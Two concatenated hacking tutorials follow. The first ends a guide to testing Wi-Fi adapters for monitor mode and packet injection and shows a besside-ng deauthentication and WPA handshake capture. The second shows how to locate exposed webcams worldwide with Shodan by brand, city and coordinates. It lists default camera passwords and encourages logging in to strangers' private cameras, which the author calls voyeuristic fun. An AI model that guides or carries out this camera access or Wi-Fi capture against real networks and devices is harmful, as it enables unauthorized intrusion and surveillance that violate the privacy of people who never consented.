compatibility, although it lacks an easy-to-understand table for compatibility the way the deprecated page does.Aside from Aircrack-ng's website, you can often look up card details on a resource like theWikiDevidatabase, which allows you to look up details on most wireless network adapters. Another resource is thelist of officially supported Linux drivers, which includes a handy table showing which models support monitor mode.Atheros chipsets are especially popular, so if you suspect your device contains an Atheros chipset, you can check anAtheros-only guide.Having a hard time finding the chipset of a card you're looking for? You can find a picture of the FCC ID number on the sticker of the device. The number can be input into websites likeFCCID.iowhich include internal photos of the chipsets in use.Once you've determined the chipset of the device you're considering, you should be able to predict its behavior. If the chipset of the wireless network adapter you're considering is listed as supporting monitor mode, you should be good to go.Knowing Which Card Is Worth ItTo make things easy on you, the following chipsets are known to support monitor mode and packet injection per our testing:Atheros AR9271:TheAlfa AWUS036NHAis my favorite long-range network adapter and the standard by which I judge other long-range adapters. It's stable, fast, and a well-supported b/g/n wireless network adapter. There's also theTP-Link TL-WN722N, a favorite for newbies and experienced hackers alike. It's a compact b/g/n adapter that has one of the cheapest prices but boasts surprisingly impressive performance. That being said, only v1 will work with Kali Linux since v2 uses a different chipset.Ralink RT3070:This chipset resides inside a number of popular wireless network adapters. Of those, theAlfa AWUS036NHis a b/g/n adapter with an absurd amount of range. It can be amplified by the omnidirectional antenna and can be paired with aYagiorPaddleantenna to create a directional array. For a more discreet wireless adapter that can be plugged in via USB, theAlfa AWUS036NEHis a powerful b/g/n adapter that's slim and doesn't require a USB cable to use. It has the added advantage of retaining its swappable antenna. If you need a stealthier option that doesn't look like it could hack anything, you might consider the g/nPanda PAU05. While small, it's a low profile adapter with a strong performance in the short and medium range, a reduced range for when you want to gather network data without including everything within several blocks.Ralink RT3572:While the previous adapters have been 2.4 GHz only, theAlfa AWUS051NH v2is a dual-band adapter that is also compatible with 5 GHz networks. While slightly pricier, the dual-band capacity and compatibility with 802.11n draft 3.0 and 802.11a/b/g wireless standards make this a more advanced option.Realtek 8187L (Wireless G adapters):TheAlfa AWUS036HUSB 2.4 GHz adapters use this older chipset that is less useful and will not pick up as many networks. These cards still will work against some networks, thus are great for beginners, as there are a ton around for cheap.Realtek RTL8812AU:Supported in 2017, theAlfa AWUS036ACHis a beast, with dual antennas and 802.11ac and a, b, g, n compatibility with 300 Mbps at 2.4 GHz and 867 Mbps at 5 GHz. It's one of the newest offerings that are compatible with Kali, so if you're looking for the fastest and longest range, this would be an adapter to consider. To use it, you may need to first run "apt update" followed by "apt install realtek-rtl88xxau-dkms" which will install the needed drivers to enable packet injection.Aircrack-ng alsolists a few cardsas best in class on its site, so if you're interested in more suggestions, check it out (some of the ones listed above are also on its list). Also, check out ourhead-to-head test of wireless network adapterscompatible with Kali Linux.More Info:Select a Field-Tested Kali Linux Compatible Wireless AdapterOn Amazon:Alfa AWUS036NHA Wireless B/G/N USB AdapterOther Considerations in Adapter SelectionAside from the chipset, another consideration is the frequency on which the adapter operates. While most Wi-Fi devices, including IoT devices, operate on the older 2.4 GHz band, many newer devices also offer 5 GHz networks. These networks are generally faster and can transfer more data, but are also usually paired with a 2.4 GHz network. The question when purchasing then becomes, is it worth it to invest the extra money in a 2.4/5 GHz antenna that can detect (and attack) both?In many cases, unless the point of your attack is to probe all of the available networks in an area, a 2.4 GHz card will be fine. If 5 GHz is important to you, there are many 5 GHz Wi-Fi cards that support monitor mode and packet injection, an example being thePanda Wireless Pau09.On Amazon:Panda Wireless PAU09 N600 Dual Band (2.4 GHz / 5 GHz) Wireless N USB AdapterAnother important factor is determining whether you need to mount a specialized antenna. While most omnidirectional antennas will be fine for a beginner, you may want to switch to an antenna with a directional pattern to focus on a particular network or area rather than everything in a circle around you. If this is the case, look for adapters with antennas that can be removed and swapped with a different type.Option 2: Test Your Existing Wireless Network AdapterIf you already have a wireless network adapter, you can check pretty easily if the chipset inside supports monitor mode and packet injection. To start, plug in the network adapter and then open a terminal window. You should be able to determine the chipset of the network adapter by simply typinglsusb -vvinto the terminal window and looking for an output similar to below.lsusb -vv Bus 001 Device 002: ID 148f:5372 Ralink Technology, Corp. RT5372 Wireless Adapter Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x148f Ralink Technology, Corp. idProduct 0x5372 RT5372 Wireless Adapter bcdDevice 1.01 iManufacturer 1 Ralink iProduct 2 802.11 n WLAN iSerial 3 (error) bNumConfigurations 1In my example, I'm looking at aPanda Wireless PAU06network adapter, which reports having an RT5372 chipset from Ralink, which is listed as supported! Once you know the chipset of your card, you should have a rough idea of what it can do.Testing Your Adapter's AbilitiesNow, let's move on to more active testing of the adapter's capabilities.Step 1: Put Your Card in Monitor ModeFor this step, we'll break out Airmon-ng, but before that, you'll need to locate the name of the interface. On your system, run the commandifconfig(orip a) to see a list of all devices connected. On Kali Linux, your card should be listed as something like wlan0 or wlan1.ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255 inet6 fe80::a00:27ff:fe59:1b51 prefixlen 64 scopeid 0x20<link> ether 86:09:15:d2:9e:96 txqueuelen 1000 (Ethernet) RX packets 700 bytes 925050 (903.3 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 519 bytes 33297 (32.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 20 bytes 1116 (1.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 20 bytes 1116 (1.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether EE-A5-3C-37-34-4A txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Once you have the name of the network interface, you can attempt to put it into monitor mode by typingairmon-ng start wlan0(assuming your interface name is wlan0). If you see the output below, then your card appears to support wireless monitor mode.airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 428 NetworkManager 522 dhclient 718 wpa_supplicant PHY Interface Driver Chipset phy1 wlan0 rt2800usb Ralink Technology, Corp. RT5372 (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon) (mac80211 station mode vif disabled for [phy1]wlan0)You can confirm the results by typingiwconfig, and you should see the name of your card has changed to add a "mon" at the end of your card's name. It should also report "Mode:Monitor" if it has been successfully put into monitor mode.iwconfig wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:offStep 2: Test Your Card for Packet InjectionTesting for packet injection is fairly straightforward to test thanks to tools included in Airplay-ng. After putting your card into monitor mode in the last step, you can run a test to see if the wireless network adapter is capable of injecting packets into nearby wireless networks.Starting with your interface in monitor mode, make sure you are in proximity to a few Wi-Fi networks so that the adapter has a chance of succeeding. Then, in a terminal window, typeaireplay-ng --test wlan0monto start the packet injection test.Don't Miss:Disable Cameras on Any Wireless Network with Aireplay-ngaireplay-ng --test wlan0mon 12:47:05 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 7 12:47:05 Trying broadcast probe requests... 12:47:06 Injection is working! 12:47:07 Found 1 AP 12:47:07 Trying directed probe requests... 12:47:07 AA:BB:CC:DD:EE - channel: 7 - 'Dobis' 12:47:08 Ping (min/avg/max): 0.891ms/15.899ms/32.832ms Power: -21.72 12:47:08 29/30: 96%If you get a result like above, then congratulations, your network card is successfully injecting packets into nearby networks. If you get a result like the one below, then your card may not support packet injection.aireplay-ng --test wlan0mon 21:47:18 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 6 21:47:18 Trying broadcast probe requests... 21:47:20 No Answer... 21:47:20 Found 1 AP 21:47:20 Trying directed probe requests... 21:47:20 74:85:2A:97:5B:08 - channel: 6 - 'Dobis' 21:47:26 0/30: 0%Step 3: Test with an Attack to Make Sure Everything WorksFinally, we can put the above two steps into practice by attempting to capture a WPA handshake usingBesside-ng, a versatile and extremely useful tool for WPA cracking, which also happens to be a great way of testing if your card is able to attack a WPA network.Don't Miss:Automating Wi-Fi Hacking with Besside-ngTo start, make sure you have a network nearby you have permission to attack. By default, Besside-ng will attack everything in range, and the attack is very noisy. Besside-ng is designed to scan for networks with a device connected, then attack the connection by injecting deauthentication packets, causing the device to momentarily disconnect. When it reconnects, a hacker can use the information exchanged by the devices to attempt to brute-force the password.Type thebesside-ng -R 'Target Network' wlan0moncommand, with the-Rfield replaced with the name of your test network. It will begin attempting to grab a handshake from the victim network. For this to work, there must be a device connected to the Wi-Fi network you're attacking. If there isn't a device present, then there is no one to kick off the network so you can't try to capture the handshake.besside-ng -R 'Target Network' wlan0mon [21:08:54] Let's ride [21:08:54] Resuming from besside.log [21:08:54] Appending to wpa.cap [21:08:54] Appending to wep.cap [21:08:54] Logging to besside.logIf you get an output like below, then congratulations! Your card is capable of grabbing handshakes from WPA/WPA2 networks. You can also check outour guide on Besside-ngto understand more about what a Besside-ng attack is capable of.besside-ng wlan0mon [03:20:45] Let's ride [03:20:45] Resuming from besside.log [03:20:45] Appending to wpa.cap [03:20:45] Appending to wep.cap [03:20:45] Logging to besside.log [03:20:56] TO-OWN [DirtyLittleBirdyFeet*, Sonos*] OWNED [] [03:21:03] Crappy connection - Sonos unreachable got 0/10 (100% loss) [-74 dbm] [03:21:07] Got necessary WPA handshake info for DirtyLittleBirdyFeet [03:21:07] Run aircrack on wpa.cap for WPA key [03:21:07] Pwned network DirtyLittleBirdyFeet in 0:04 mins:sec [03:21:07] TO-OWN [Sonos*] OWNED [DirtyLittleBirdyFeet*]A Flexible Network Adapter Is Key to Wi-Fi HackingA powerful wireless network adapter with the ability to inject packets and listen in on Wi-Fi conversations around it gives any hacker an advantage over the airwaves. It can be confusing picking the right adapter for you, but by carefully checking the chipset contained, you can ensure you won't be surprised when you make your purchase. If you already have an adapter, putting it through its paces before using it in the field is recommended before you rely on it for anything too important.I hope you enjoyed this guide to testing your wireless network cards for packet injection and wireless monitor mode. If you have any questions about this tutorial on Kali-compatible wireless network adapters or you have a comment, feel free to reach me on [email protected]'t Miss:Hack Wi-Fi & Networks More Easily with Lazy ScriptFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack WPA WiFi Passwords by Cracking the WPS PINGuide:Wi-Fi Cards and ChipsetsHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Hack WiFi Using a WPS Pixie Dust AttackHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Hack Wi-Fi Networks with BettercapHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Crack Wi-Fi Passwords—For Beginners!How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Get Free Wi-Fi from Hotels & MoreHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Packet Injection Capable Drivers in LinuxHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Bypass a Local Network Proxy for Free InternetHow To:Use Wireshark to Steal Your Own Local Passwords
How to Find Vulnerable Webcams Across the Globe Using Shodan « Null Byte :: WonderHowTo
Search engines index websites on the web so you can find them more efficiently, and the same is true for internet-connected devices.Shodanindexes devices like webcams, printers, and even industrial controls into one easy-to-search database, giving hackers access to vulnerable devices online across the globe. And you can search its database via its website or command-line library.Shodan has changed the way hackers build tools, as it allows for a large part of the target discovery phase to be automated. Rather than needing to scan the entire internet, hackers can enter the right search terms to get a massive list of potential targets. Shodan's Python library allows hackers to quickly write Python scripts that fill in potential targets according to which vulnerable devices connect at any given moment.You can imagine hunting for vulnerable devices as similar to trying to find all the pages on the internet about a specific topic. Rather than searching every page available on the web yourself, you can enter a particular term into a search engine to get the most up-to-date, relevant results. The same is true for discovering connected devices, and what you can find online may surprise you!Step 1: Log in to ShodanFirst, whether using the website or the command line, you need to log in toshodanhq.comin a web browser. Although you can use Shodan without logging in, Shodan restricts some of its capabilities toonlylogged-in users. For instance, you can only view one page of search results without logging in. And you can only see two pages of search results when logged in to a free account. As for the command line, you will need your API Key to perform some requests.Step 2: Set Up Shodan via Command Line (Optional)A particularly useful feature of Shodan is that you don't need to open a web browser to use it if you know your API Key. To install Shodan, you'll need to have a working Python installation. Then, you can type the following in a terminal window to install the Shodan library.~$ pip install shodan Collecting shodan Downloading https://files.pythonhosted.org/packages/22/93/22500512fd9d1799361505a1537a659dbcdd5002192980ad492dc5262717/shodan-1.14.0.tar.gz (46kB) 100% |████████████████████████████████| 51kB 987kB/s Requirement already satisfied: XlsxWriter in /usr/lib/python2.7/dist-packages (from shodan) (1.1.2) Requirement already satisfied: click in /usr/lib/python2.7/dist-packages (from shodan) (7.0) Collecting click-plugins (from shodan) Downloading https://files.pythonhosted.org/packages/e9/da/824b92d9942f4e472702488857914bdd50f73021efea15b4cad9aca8ecef/click_plugins-1.1.1-py2.py3-none-any.whl Requirement already satisfied: colorama in /usr/lib/python2.7/dist-packages (from shodan) (0.3.7) Requirement already satisfied: requests>=2.2.1 in /usr/lib/python2.7/dist-packages (from shodan) (2.21.0) Building wheels for collected packages: shodan Running setup.py bdist_wheel for shodan ... done Stored in directory: /root/.cache/pip/wheels/fb/99/c7/f763e695efe05966126e1a114ef7241dc636dca3662ee29883 Successfully built shodan Installing collected packages: click-plugins, shodan Successfully installed click-plugins-1.1.1 shodan-1.14.0Then, you can see all the available options-hto bring up the help menu.~$ shodan -h Usage: shodan [OPTIONS] COMMAND [ARGS]... Options: -h, --help Show this message and exit. Commands: alert Manage the network alerts for your account convert Convert the given input data file into a different format. count Returns the number of results for a search data Bulk data access to Shodan domain View all available information for a domain download Download search results and save them in a compressed JSON... honeyscore Check whether the IP is a honeypot or not. host View all available information for an IP address info Shows general information about your account init Initialize the Shodan command-line myip Print your external IP address org Manage your organization's access to Shodan parse Extract information out of compressed JSON files. radar Real-Time Map of some results as Shodan finds them. scan Scan an IP/ netblock using Shodan. search Search the Shodan database stats Provide summary information about a search query stream Stream data in real-time. version Print version of this tool.These controls are pretty straightforward, but not all of them work without connecting it to your Shodan API Key. In a web browser, log in to your Shodan account, then go to "My Account" where you'll see your unique API Key. Copy it, then use theinitcommand to connect the key.Don't MissHow to Use the Shodan API with Python to Automate Scans for Vulnerable Devices (Like Mr. Robot)~$ shodan init XXXXxxxxXXXXxxXxXXXxXxxXxxxXXXxX Successfully initializedStep 3: Search for Accessible WebcamsThere are many ways to find webcams on Shodan. Usually, using the name of the webcam's manufacturer or webcam server is a good start. Shodan indexes the informationin the banner, not the content, which means that if the manufacturer puts its name in the banner, you can search by it. If it doesn't, then the search will be fruitless.One of my favorites iswebcamxp, a webcam and network camera software designed for older Windows systems. After typing this into the Shodan search engine online, it pulls up links to hundreds, if not thousands, of web-enabled security cameras around the world.To do this from the command line, use thesearchoption. (Results below truncated.)~$ shodan search webcamxp 81.133.███.███ 8080 ████81-133-███-███.in-addr.btopenworld.com HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nConten t-Length: 7313\r\nCache-control: no-cache, must revalidate\r\nDate: Tue, 06 Aug 2019 21:39:29 GMT\r\nExpires: Tue, 06 Aug 2019 21:39:29 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n 74.218.███.██ 8080 ████-74-218-███-██.se.biz.rr.com HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 7413\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 14:22:02 GMT\r\nExpires: Wed, 07 Aug 2019 14:22:02 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n 208.83.██.205 9206 ████████████.joann.com HTTP/1.1 704 t\r\nServer: webcam XP\r\n\r\n 115.135.██.185 8086 HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 2192\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 06:49:20 GMT\r\nExpires: Wed, 07 Aug 2019 06:49:20 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n 137.118.███.107 8080 137-118-███-███.wilkes.net HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 2073\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 12:37:54 GMT\r\nExpires: Wed, 07 Aug 2019 12:37:54 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n 218.161.██.██ 8080 218-161-██-██.HINET-IP.hinet.net HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 7431\r\nCache-control: no-cache, must revalidate\r\nDate: Mon, 05 Aug 2019 18:39:52 GMT\r\nExpires: Mon, 05 Aug 2019 18:39:52 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n ... 92.78.██.███ 37215 ███-092-078-███-███.███.███.pools.vodafone-ip.de HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 8163\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 05:17:22 GMT\r\nExpires: Wed, 07 Aug 2019 05:17:22 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n 85.157.██.███ 8080 ████████.netikka.fi HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 7947\r\nCache-control: no-cache, must revalidate\r\nDate: Wed, 07 Aug 2019 00:25:41 GMT\r\nExpires: Wed, 07 Aug 2019 00:25:41 GMT\r\nPragma: no-cache\r\nServer: webcamXP 5\r\n\r\n 108.48.███.███ 8080 ████-108-48-███-███.washdc.fios.verizon.net HTTP/1.1 401 Unauthorized\r\nConnection: close\r\nContent-Length: 339\r\nCache-control: no-cache, must revalidate\r\nDate: Tue, 06 Aug 2019 22:40:21 GMT\r\nExpires: Tue, 06 Aug 2019 22:17:21 GMT\r\nPragma: no-cache\r\nServer: webcamXP\r\nWWW-Authenticate: Basic realm="webcamXP"\r\nContent-Type: text/html\r\n\r\n (END)To exit results, hitQon your keyboard. If you only want to see certain fields instead of everything, there are ways to omit some information. First, let's see how the syntax works by viewing the help page for search.~$ shodan search -h Usage: shodan search [OPTIONS] <search query> Search the Shodan database Options: --color / --no-color --fields TEXT List of properties to show in the search results. --limit INTEGER The number of search results that should be returned. Maximum: 1000 --separator TEXT The separator between the properties of the search results. -h, --help Show this message and exit.Unfortunately, the help page does not list all of the available fields you can search, but Shodan's websitehas a handy list, seen below.Properties: asn [String] The autonomous system number (ex. "AS4837"). data [String] Contains the banner information for the service. ip [Integer] The IP address of the host as an integer. ip_str [String] The IP address of the host as a string. ipv6 [String] The IPv6 address of the host as a string. If this is present then the "ip" and "ip_str" fields wont be. port [Integer] The port number that the service is operating on. timestamp [String] The timestamp for when the banner was fetched from the device in the UTC timezone. Example: "2014-01-15T05:49:56.283713" hostnames [String[]] An array of strings containing all of the hostnames that have been assigned to the IP address for this device. domains [String[]] An array of strings containing the top-level domains for the hostnames of the device. This is a utility property in case you want to filter by TLD instead of subdomain. It is smart enough to handle global TLDs with several dots in the domain (ex. "co.uk") location [Object] An object containing all of the location information for the device. location.area_code [Integer]The area code for the device's location. Only available for the US. location.city [String] The name of the city where the device is located. location.country_code [String] The 2-letter country code for the device location. location.country_code3 [String] The 3-letter country code for the device location. location.country_name [String] The name of the country where the device is located. location.dma_code [Integer] The designated market area code for the area where the device is located. Only available for the US. location.latitude [Double] The latitude for the geolocation of the device. location.longitude [Double] The longitude for the geolocation of the device. location.postal_code [String] The postal code for the device's location. location.region_code [String] The name of the region where the device is located. opts [Object] Contains experimental and supplemental data for the service. This can include the SSL certificate, robots.txt and other raw information that hasn't yet been formalized into the Banner Specification. org [String] The name of the organization that is assigned the IP space for this device. isp [String] The ISP that is providing the organization with the IP space for this device. Consider this the "parent" of the organization in terms of IP ownership. os [String] The operating system that powers the device. transport [String] Either "udp" or "tcp" to indicate which IP transport protocol was used to fetch the information Optional Properties: uptime [Integer] The number of minutes that the device has been online. link [String] The network link type. Possible values are: "Ethernet or modem", "generic tunnel or VPN", "DSL", "IPIP or SIT", "SLIP", "IPSec or GRE", "VLAN", "jumbo Ethernet", "Google", "GIF", "PPTP", "loopback", "AX.25 radio modem". title [String] The title of the website as extracted from the HTML source. html [String] The raw HTML source for the website. product [String] The name of the product that generated the banner. version [String] The version of the product that generated the banner. devicetype [String] The type of device (webcam, router, etc.). info [String] Miscellaneous information that was extracted about the product. cpe [String] The relevant Common Platform Enumeration for the product or known vulnerabilities if available. For more information on CPE and the official dictionary of values visit the CPE Dictionary. SSL Properties: If the service uses SSL, such as HTTPS, then the banner will also contain a property called "ssl": ssl.cert [Object] The parsed certificate properties that includes information such as when it was issued, the SSL extensions, the issuer, subject etc. ssl.cipher [Object] Preferred cipher for the SSL connection ssl.chain [Array] An array of certificates, where each string is a PEM-encoded SSL certificate. This includes the user SSL certificate up to its root certificate. ssl.dhparams [Object] The Diffie-Hellman parameters if available: "prime", "public_key", "bits", "generator" and an optional "fingerprint" if we know which program generated these parameters. ssl.versions [Array] A list of SSL versions that are supported by the server. If a version isnt supported the value is prefixed with a "-". Example: ["TLSv1", "-SSLv2"] means that the server supports TLSv1 but doesnt support SSLv2.So, if we wanted to only view the IP address, port number, organization name, and hostnames for the IP address, we could use--fieldsas such:~$ shodan search --fields ip_str,port,org,hostnames webcamxp 81.133.███.███ 8080 BT ████81-133-███-███.in-addr.btopenworld.com 74.218.███.██ 8080 Spectrum Business ████-74-218-███-██.se.biz.rr.com 208.83.██.███ 9206 Jo-ann Stores, LLC ████████████.joann.com 115.135.██.███ 8086 TM Net 137.118.███.███ 8080 Wilkes Communications 137-118-███-███.wilkes.net 218.161.██.██ 8080 HiNet 218-161-██-██.HINET-IP.hinet.net ... 92.78.██.███ 37215 Vodafone DSL ███-092-078-███-███.███.███.pools.vodafone-ip.de 85.157.██.███ 8080 Elisa Oyj ████████.netikka.fi 108.48.███.███ 8080 Verizon Fios ████-108-48-███-███.washdc.fios.verizon.net (END)Look through the results and find webcams you want to try out. Input their domain name into a browser and see if you get instant access. Here is an array of open webcams from various hotels in Palafrugell, Spain, that I was able to access without any login credentials:Although it can be fun and exciting to voyeuristically watch what's going on in front of these unprotected security cameras, unbeknownst to people around the world, you probably want to be more specific in your search for webcams.Try Default Username & PasswordsAlthough some of the webcams Shodan shows you are unprotected, many of them will require authentication. To attempt to gain access without too much effort, try the default username and password for the security camera hardware or software. I have compiled a short list of the default username and passwords of some of the most widely used webcams below.ACTi:admin/123456orAdmin/123456Axis (traditional):root/pass,Axis (new): requires password creation during first loginCisco: No default password, requires creation during first loginGrandstream:admin/adminIQinVision:root/systemMobotix:admin/meinsmPanasonic:admin/12345Samsung Electronics:root/rootoradmin/4321Samsung Techwin (old):admin/1111111Samsung Techwin (new):admin/4321Sony:admin/adminTRENDnet:admin/adminToshiba:root/ikwdVivotek:root/<blank>WebcamXP:admin/ <blank>There is no guarantee that any of those will work, but many inattentive and lazy administrators simply leave the default settings in place. In those cases, the default usernames and passwords for the hardware or software will give you access to confidential and private webcams around the world.Step 4: Search for Webcams by GeographyNow that we know how to find webcams and potentially log in to them using default usernames and passwords, let's get more specific and try to find webcams in a specific geographical location. For example, if we were interested in webcams by the manufacturer WebcamXP in Australia, we could find them by typingwebcamxp country:AUinto the search box on Shodan's website.So how would we do an advanced search in the command line? Here's a quick list of some of the things you can search for in Shodan via the command line:after: Search by a timeframe delimiter for things after a certain date. asn: Search by the autonomous system number. before: Search by a timeframe delimiter for things before a certain date. city: Search by the city where the device is located. country: Search by the country where the device is located (two-letter code). device: Search by the device or network's name. devicetype: Search by the type of device (webcam, router, etc.). domain: Search an array of strings containing the top-level domains for the hostnames of the device. geo: Search by the coordinates where the device is located. hash: Search by the banner hash. has_screenshot:true Search for devices where a screenshot is present. hostname: Search by the hostname that has been assigned to the IP address for the device. ip: Search by the IP address of the host as an integer. ip_str: Search by the IP address of the host as a string. ipv6: Search by the IPv6 address of the host as a string. isp: Search by the ISP that is providing the organization with the IP space for the device. link: Search by the network link type. Possible values are: "Ethernet or modem", "generic tunnel or VPN", "DSL", "IPIP or SIT", "SLIP", "IPSec or GRE", "VLAN", "jumbo Ethernet", "Google", "GIF", "PPTP", "loopback", "AX.25 radio modem". net: Filter by network range or IP in CIDR notation. port: Find devices based on the open ports/ software. org: Search for devices that are on a specific organization’s network. os: Search by the operating system that powers the device. state: Search by the state where the device is located (two-letter code). title: Search by text within the title of the website as extracted from the HTML source.So if we were to searchwebcamxp country:AUon the website directly, to do it from the command line, you would format as one of the ways below. However, if you're not on a paid plan, you can't use the Shodan API to perform detailed searches like we are trying to here. But you can still perform an advanced search on Shodan's website, with the regular restrictions for free users.~$ shodan search webcamxp country:AU ~$ shodan search device:webcamxp country:AUOn the website, searching forwebcamxp country:AUwill pull up a list of every WebcamXP in Australia that is web-enabled in Shodan's index, as shown below.Step 5: Narrow Your Search for Webcams to a CityTo be even more specific, we can narrow our search down to an individual city. Let's see what we can find in Sydney, Australia, by typingwebcamxp city:sydneyinto the website's search bar. For the command line, it would look like one of the following commands — but it's a paid-only feature with the API.~$ shodan search webcamxp city:sydney ~$ shodan search device:webcamxp city:sydneyOn the Shodan website, the search yields the results below.When we click on one of these links, we find ourselves in someone's backyard in Sydney, Australia!Step 6: Find Webcams by Longitude & LatitudeShodan even enables us to be very specific in searching for web-enabled devices. In some cases, we can specify the longitude and latitude of the devices we want to find.In this case, we will be looking for WebcamXP cameras at the longitude and latitude (-37.81, 144.96) of the city of Melbourne, Australia. When we search, we get a list of every WebcamXP at those coordinates on the globe. We must use the keywordgeofollowed by the longitude and latitude. So in the search bar, usewebcamxp geo: -37.81,144.96. On the command line interface, again, which is a paid feature, it'd look like one of these:~$ shodan search webcamxp geo:-37.81,144.96 ~$ shodan search device:webcamxp geo:-37.81,144.96When we get that specific, on Shodan's website, it only finds four WebcamXP cameras. Click on one, and we can find that once again, we have a private webcam view of someone's camera in their backyard in Melbourne, Australia.Step 7: Shodan from the Command LineSomething we can do from the command-line interface that we can't from the website is search for information on a host. For instance, we can run theshodan myipcommand to print our external IP.~$ shodan myip 174.███.██.███Once we know it, we can search Shodan for information by running thehostcommand.~$ shodan host 174.███.██.███ 174.███.██.███ Hostnames: cpe-174-███-██-███.socal.res.rr.com Country: United States Organization: Spectrum Updated: 2019-08-02T23:04:59.182949 Number of open ports: 1 Ports: 80/tcpShodan Is a Powerful Way to Discover Devices Across the NetI hope this short demonstration of the power Shodan gets your imagination stimulated for inventive ways you can find private webcams anywhere on the globe! If you're too impatient to hunt down webcams on Shodan, you can use a website likeInsecamto view accessible webcams you can watch right now. For instance, you canview all the WebcamXP camerasthat have pictures.Whether you use Shodan or an easier site such as Insecam to view webcams, don't limit yourself to WebcamXP, but instead try each of the webcam manufacturers at a specific location, and who knows what you will find.I hope you enjoyed this guide to using Shodan to discover vulnerable devices. If you have any questions about this tutorial on using Shodan or have a comment, ask below or feel free to reach me on [email protected]'t Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaVal Thoermer/Shutterstock; Screenshots and GIF by Kody/Null ByteRelatedHack Like a Pro:How to Find Vulnerable Targets Using Shodan—The World's Most Dangerous Search EngineHack Like a Pro:How to Find Any Router's Web Interface 